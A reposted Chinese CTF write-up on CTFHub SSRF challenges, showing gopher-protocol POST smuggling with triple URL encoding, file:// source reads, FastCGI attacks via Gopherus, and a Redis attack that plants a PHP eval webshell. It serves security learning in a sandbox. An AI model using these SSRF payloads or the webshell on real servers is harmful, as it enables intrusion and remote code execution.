SSRF(2)

news2024/10/5 14:34:17

Gopher协议的利用

gopher协议是ssrf利用中最强大的协议

gopher协议支持发出GET、POST请求:

可以先截获get请求包和post请求包,再构成符合gopher协议的请求。

默认端口为70,一般需发送到80端口

如果发起post请求,回车换行需要使用%0D%0A,如果多个参数,参数之间的&也需要进行URL编码。

gopher使用结构:

gopher://127.0.0.1:80/_{TCP/IP数据流}      //_不能省

 POST请求

打开看到题目描述,先用dirsearch扫一下

dirsearch -u http://challenge-c81b1dbf4106f429.sandbox.ctfhub.com:10800/?url=127.0.0.1

发现只有/flag.php可以访问

访问后发现有个输入框

查看源代码看见key

尝试使用file://协议读取文件

读取index.php文件源代码

?url=file:///var/www/html/index.php

读取flag.php文件源代码

?url=file:///var/www/html/flag.php

发现POST传参了key值

补充:

当前运行脚本所在服务器(非本地)IP地址

只要往flag.php传key值就可以得到flag,而index.php可以利用curl传url,就可以用gopher协议在index.php中构造post请求包往flag.php传key值,获得flag

POST包必须包含的四个参数:Content-Type,Content-Length,host,post

gopher的数据需要用url编码三次之后再发送,且第一次编码后%0A需全部替换成%0D%0A,利用ssrf时常需要进行多次url编码,执行curl功能(利用URL语法在命令行下工作的文件传输工具)后会被解码一次,利用?url=gopher://形式进行ssrf请求又会被解码一次,如果有302跳转 也会被解码一次。(可以说传参+跳转,请求多少次就要编码多少次)

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-from-urlencode
Conternt-Length: 36

key=e9653266a13e73c36f3292268cc56b22

对构造的请求包进行编码

补充:

Gopher协议包含的请求数据包中,可能包含有=&等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%后的字节当做普通字节。

80是http默认端口

第一次编码后需要将%0A替换为%0D%0A

替换后是这样的

POST%20/flag.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Length%3A%2036%20%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0A%0D%0Akey%3De9653266a13e73c36f3292268cc56b22

第二次编码

POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%2520%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey%253De9653266a13e73c36f3292268cc56b22

第三次编码

POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Length%25253A%25252036%252520%25250D%25250AContent-Type%25253A%252520application/x-www-form-urlencoded%25250D%25250A%25250D%25250Akey%25253De9653266a13e73c36f3292268cc56b22

由于flag.php中的$_SERVER["REMOTE_ADDR"]无法绕过,于是在index.php中发送 POST请求

构造payload

?url=http://127.0.0.1:80/index.php?url=gopher://127.0.0.1:80/_POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application/x-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%252520%25250D%25250Akey%25253D5194585c8475fb6e7b30ff77454c4aa4

在bp重放器中得到flag 

上传文件

看到题目要求上传文件

发现并没有提交按钮

用伪协议查看flag.php,意思是上传文件不能为空

到这里看了一下别人的wp,发现需要自己加上提交按钮

出现提交按钮

使用bp抓包,这个就是需要构造的POST包

像上一题一样进行三次编码,其中第一次结束后要将%0A全部替换为%0D%0A

构造payload在重放器中发送请求

?url=127.0.0.1/index.php/?url=gopher://127.0.0.1:80/_POST包

得到flag

FastCGI协议

题目要求攻击fastcgi协议,这里不是特别了解,参考附件内容

补充:http://t.csdnimg.cn/73bad

fastcgi协议
fastcgi record

Fastcgi是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道。

HTTP协议是浏览器和服务器中间件进行数据交换的协议,浏览器将HTTP头和HTTP体用某个规则组装成数据包,以TCP的方式发送到服务器中间件,服务器中间件按照规则将数据包解码,并按要求拿到用户需要的数据,再以HTTP协议的规则打包返回给服务器。

类比HTTP协议来说,fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件。

record的头固定8个字节,body是由头中的contentLength指定https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#fastcgi-record

fastcgi type

type用来指定该record的作用。因为fastcgi一个record的大小是有限的,作用也是单一的,所以需要在一个TCP流里传输多个record。通过type来标志每个record的作用,用requestId作为同一次请求的id。

也就是说,每次请求,会有多个record,他们的requestId是相同的。https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#fastcgi-type

php-fpm

FPM是一个fastcgi协议解析器,Nginx等服务器中间件将用户请求按照fastcgi的规则打包好通过TCP传给FPM。

FPM按照fastcgi的协议将TCP流解析成真正的数据。https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#php-fpmfastcgi

通过上面的了解知道需要运用到Gopherus工具,这里首先下载并配置好工具,可以参考这个文章http://t.csdnimg.cn/o6kVb

第一行输入路径,第二行执行命令,查看根目录

将gopher协议要发送的内容进行移除url编码

找到flag的文件,接下来进行查看

得到的gopher协议也需要进行一次编码

然后可以传参

得到flag

Redis协议

补充:http://t.csdnimg.cn/FdhWF

什么是redis协议

Redis协议,也被称为 RESP ,它是一种简单的文本协议,用于在客户端和服务器之间操作和传输数据。是最简单的一种传输协议。描述了不同类型的数据结构,定义了请求和响应间数据结构的交互。

法一:

用Gopherus工具构造payload

./gopherus.py --exploit redis

ReverseShell是反弹shell,PHPshell就是webshell,第二行默认路径/var/www/html

最后输入shell语句

<?php eval($_post["cmd"]);?>

然后就可以得到如图

其中的%0A已经是%0D%0A了,不用转换,然后进行二次编码

将构造好的payload上传,很久以后返回504(超时)

访问shell.php(工具生成shell的文件名)

蚁剑测试连接成功

得到flag

法二:

与法一第一步相同,都是用Gopherus工具构造payload,其中默认命令参数是cmd

与法一第二步相同,不用更改,直接进行编码

接着上传,同样是504,然后发现可以访问shell.php

用命令查看根目录,发现flag的存在

最后用cat查看内容,得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1840964.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Java面试八股之myBatis与myBatis plus的对比

myBatis与myBatis plus的对比 基础与增强&#xff1a; MyBatis 是一个成熟的Java持久层框架&#xff0c;它允许开发者通过XML文件或注解来配置SQL语句和数据库映射&#xff0c;提供了一个灵活的方式来操作数据库&#xff0c;但需要手动编写所有的SQL语句和结果集映射。 MyBa…

AI系统进入临床实践的几点考量——DECIDE-AI读后感

AI系统进入临床实践的几点考量——DECIDE-AI读后感 DECIDE-AI是一个新的阶段性报告指南&#xff0c;用于早期的临床评估基于人工智能&#xff08;AI&#xff09;的决策支持系统。它由欧洲影像学和医学人工智能实验室&#xff08;IDEAL&#xff09;合作开发&#xff0c;旨在解决…

60.指针数组和数组指针

一.指针数组 指针数组是一个数组&#xff0c;在指针数组中存放的是指针变量。 定义一个指针数组p int *p[5]; 内存模型如下&#xff1a; 指针数组的初始化 #include <stdio.h>int main(void) {int a1;int b2;int c3;int i;int *p[3] {&a,&b,&c};for(i0…

hdfs源码解析之DFSClient

1、DFSClient类简介 DFSClient 是 Hadoop 分布式文件系统&#xff08;HDFS&#xff09;中的一个核心类&#xff0c;用于客户端与 HDFS 之间的交互。它提供了一组方法&#xff0c;使客户端应用程序可以方便地与 HDFS 进行通信&#xff0c;包括文件的读取、写入、创建、删除、重命…

Nidhogg:一款专为红队设计的多功能Rootkit

关于Nidhogg Nidhogg是一款专为红队设计的多功能Rootkit&#xff0c;该工具的主要目的是为红队研究人员提供一个多合一的切易于使用的多功能Rootkit&#xff0c;并允许研究人员通过单个头文件来将其引入到自己的C2框架之中。 当前版本的Nidhogg支持任意版本的x64 Windows 10和…

git的Cherry pick

Cherry pick Git Cherry Pick详解 https://blog.csdn.net/jam_yin/article/details/131594716 目标: 将开发分支A中提交的部分内容合并到B分支(可能是测试分支) 步骤: vscode安装 点击下图标进入graph

【golang学习之旅】使用VScode安装配置Go开发环境

1. 下载并安装Go1.1 下载地址1.2 选择版本并下载1.3 安装目录1.4 验证是否安装成功 2. 配置环境变量2.1 配置步骤2.2 GO部分环境变量说明 3. 下载或更新 Vscode3.1 下载地址3.2 安装步骤 4. 为Go开发配置VScode 1. 下载并安装Go 1.1 下载地址 https://studygolang.com/dl 1.…

压缩pdf文件大小,如何压缩pdf

压缩PDF文件是现代办公中常见的需求&#xff0c;因为PDF文件往往包含了大量的图片、文本和格式信息&#xff0c;导致文件体积较大&#xff0c;不利于传输和存储。本文将详细介绍如何压缩PDF文件&#xff0c;我们一起来看一下。 浏览器打开 "轻云处理pdf官网" &#x…

计网重点面试题-TCP三次握手四次挥手

三次握手 第一次握手(syn1) 客户端会随机初始化序号&#xff08;client_isn&#xff09;&#xff0c;将此序号置于 TCP 首部的「序列号」字段中&#xff0c;同时把 SYN 标志位置为 1&#xff0c;表示 SYN 报文。接着把第一个 SYN 报文发送给服务端&#xff0c;表示向服务端发…

微波传感器,人体接近传感器,ATM微波传感器人体存在传感器

史新华 微波传感器&#xff0c;人体接近传感器&#xff0c;ATM微波传感器人体存在传感器 微波传感器&#xff0c;人体接近传感器&#xff0c;ATM微波传感器YTMW8630 1 产品简介 该YTMW8630是根据微波多普勒效应原理&#xff08;也就是雷达基本原理&#xff09;制作成的&…

Graphviz——实现动态更新协议状态机

1、描述 为了实现动态更新协议状态机&#xff0c;首先需要定义类来表示协议状态机。初始化该类后&#xff0c;保存状态机对象。在后续更新过程中&#xff0c;就可以加载保存的状态机对象&#xff0c;添加新的状态或事件。Graphviz的安装过程参考&#xff1a;Graphviz——安装、…

【AI-6】算力和带宽

上述为大模型训练的显卡选项 tensor fp16 算力是什么&#xff1f; Tensor FP16(Float16)算力是指GPU在执行深度学习的张量计算时,使用float16(半精度浮点)数据类型所能达到的性能指标。 为什么要使用Tensor FP16? 提升计算效率: float16数据类型的存储和计算开销比float32…

htb_Editorial

hack the book Editorial 端口扫描 80 22 目录扫描 /upload 是一个上传book information的页面 其中最顶上有一个可以上传书本封面的地方&#xff0c;可以从本地上传&#xff0c;也可以从远程下载 这里可能涉及ssrf和本地文件上传&#xff0c;逐一尝试 随便上传一个图片…

Redis-五种数据结构之列表(ziplist、quicklist)

列表 文章目录 列表压缩列表-ziplistziplist 定义级联更新 快速列表-quicklistquicklistNode 定义quicklist 定义quicklist常用操作其他操作quicklist 相对于普通链表优点quick应用场景在redis 中使用quicklist 列表数据类型可以存储一组按插入顺序排序的字符串&#xff0c;他很…

web前端-CSS

CSS CSS概述: CSS是Cascading Style Sheets&#xff08;级联样式表&#xff09;,是一种样式表语言,用于控制网页布局,外观(比如背景图片,图片高度,文本颜色,文本字体,高级定位等等) 可将页面的内容与样式分离开,样式放于单独的.css文件或者HTML某处 CSS是网页样式,HTML是网页…

什么是进程?

目录 进程 进程的特征, 概念 我们下面先简单介绍一下什么是进程 接下来看看一个程序的运行过程 进程的组成 进程的状态和转换 进程的状态 进程状态的转换 ​编辑 进程的组织方式 进程控制 如何实现进程控制 为什么进程控制的过程需要一气呵成? 进程控制的实现…

操作系统入门 -- 进程的同步与互斥

操作系统入门 – 进程的同步与互斥 在之前的文章中&#xff0c;我们了解了进程是如何被调度的。但在调度之前&#xff0c;进程需要获得资源。而获得这些资源则可能让进程之间陷入冲突。为了高效且平等地调度线程&#xff0c;需要引入同步功能。 1.临界资源 1.1 临界资源的描述…

用友YonSuite打通招银云直联,让企业收付款更便利

在当今数智化浪潮席卷全球的背景下&#xff0c;企业对于高效、便捷的管理系统需求日益增加。作为全球领先的企业云服务与软件提供商&#xff0c;用友始终站在技术前沿&#xff0c;致力于为成长型企业提供全方位的数智化解决方案。 用友网络与招商银行通过联通双方系统&#xf…

Elasticsearch如何聚合查询多个统计值,如何嵌套聚合?并相互引用,统计索引中某一个字段的空值率?语法是怎么样的

文章目录 Elasticsearch聚合查询说明空值率查询DSL Elasticsearch聚合基础知识扩展Elasticsearch聚合概念Script 用法Elasticsearch聚合查询语法指标聚合&#xff08;Metric Aggregations&#xff09;桶聚合&#xff08;Bucket Aggregations&#xff09;矩阵聚合&#xff08;Ma…

《昇思25天学习打卡营第1天 | 认识MindScope AI框架和昇思大模型平台》

活动地址&#xff1a;https://xihe.mindspore.cn/events/mindspore-training-camp 昇思MindSpore学习笔记&#xff1a;探索AI的无限可能 嗨&#xff0c;AI爱好者们&#xff01;今天&#xff0c;我要带你们深入了解一个强大的全场景深度学习框架——昇思MindSpore。 准备好了吗…